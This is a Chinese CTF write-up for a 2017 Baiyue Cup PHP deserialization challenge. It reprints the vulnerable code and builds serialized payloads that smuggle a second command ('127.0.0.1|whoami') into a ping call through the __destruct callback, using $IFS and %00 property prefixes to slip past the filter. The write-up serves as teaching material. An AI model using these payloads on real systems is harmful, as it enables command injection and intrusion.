2017百越杯反序列化writeup
去年的了,之前也有研究过。只是因为感觉PHP反序列化挺好玩的所以就再研究了一遍。总之感觉反序列化漏洞挺好玩的。
题目代码:
1 method = $method; 11$this->args = $args; 12} 13 14function __destruct(){ 15if (in_array($this->method, array("ping"))) { 16call_user_func_array(array($this, $this->method), $this->args); 17} 18} 19 20function ping($host){ 21system("ping -c 2 $host"); 22} 23function waf($str){ 24$str=str_replace(' ','',$str); 25return $str; 26} 27 28function __wakeup(){ 29foreach($this->args as $k => $v) { 30$this->args[$k] = $this->waf(trim(mysql_escape_string($v))); 31} 32} 33 } 34$a=@$_POST['a']; 35@unserialize($a); 36?>
__wakeup这个魔术方法是在反序列化后的时候执行,所以其调用链就是:
$_POST['a'] -> unserialize($a) -> __wakeup() -> __destruct()
第29行代码的意思是讲args遍历出$k和$v
然后过滤掉$v里的空格,waf这个函数也是将空格替换为空,然后赋值给$this->args[k]也就是重新赋值给属性。
【2017百越杯反序列化writeup】然后__destruct()又判断method里是否有ping如果有执行16行。
而16行是一个回调函数(第一个参数为函数,第二个参数为传入的参数)
那么也就是说第一个参数我们如果传入ping那么执行的也就是ping命令,所以现在可以确定$method传入的是ping
第二个参数需要传入数组,因为29行的时候有遍历这个$args且数组里不能有空格,可以尝试传入array("127.0.0.1|whoami")那么我们可以尝试如下写出EXP
1
空格绕过方法千千万万种。随便拿一个$IFS
文章图片
暂且先写whoami
payload:
O:4:"home":2:{s:12:"homemethod"; s:4:"ping"; s:10:"homeargs"; a:1:{i:0; s:7:"; whoami"; }}
但是很尴尬这个payload生成了一直没办法用。TMDGB
测试发现需要在属性的前面加上%00才行
O:4:"home":2:{s:12:"%00home%00method"; s:4:"ping"; s:10:"%00home%00args"; a:1:{i:0; s:16:"127.0.0.1|whoami"; }}
要注意火狐浏览器的hackbar发送数据包的时候会自动进行url编码,所以要解码发送才行,不然是不行的,我就是测试一直发送一直不行。还一度以为是php版本的缘故。
文章图片
转载于:https://www.cnblogs.com/nul1/p/9502333.html
推荐阅读
- 2018-02-06第三天|2018-02-06第三天 不能再了,反思到位就差改变
- 20170612时间和注意力开销记录
- 吃了早餐,反而容易饿(为什么?)
- 父母越不讲道理,孩子反而越优秀!说的是你吗()
- 改变自己,先从自我反思开始
- leetcode|leetcode 92. 反转链表 II
- 2017-7-17
- 那些反串过的艺人-最是美色如醉人
- 基于爱,才会有“愿望”当“要求”。2017.8.12
- 2017.11.24|2017.11.24 晴 (27)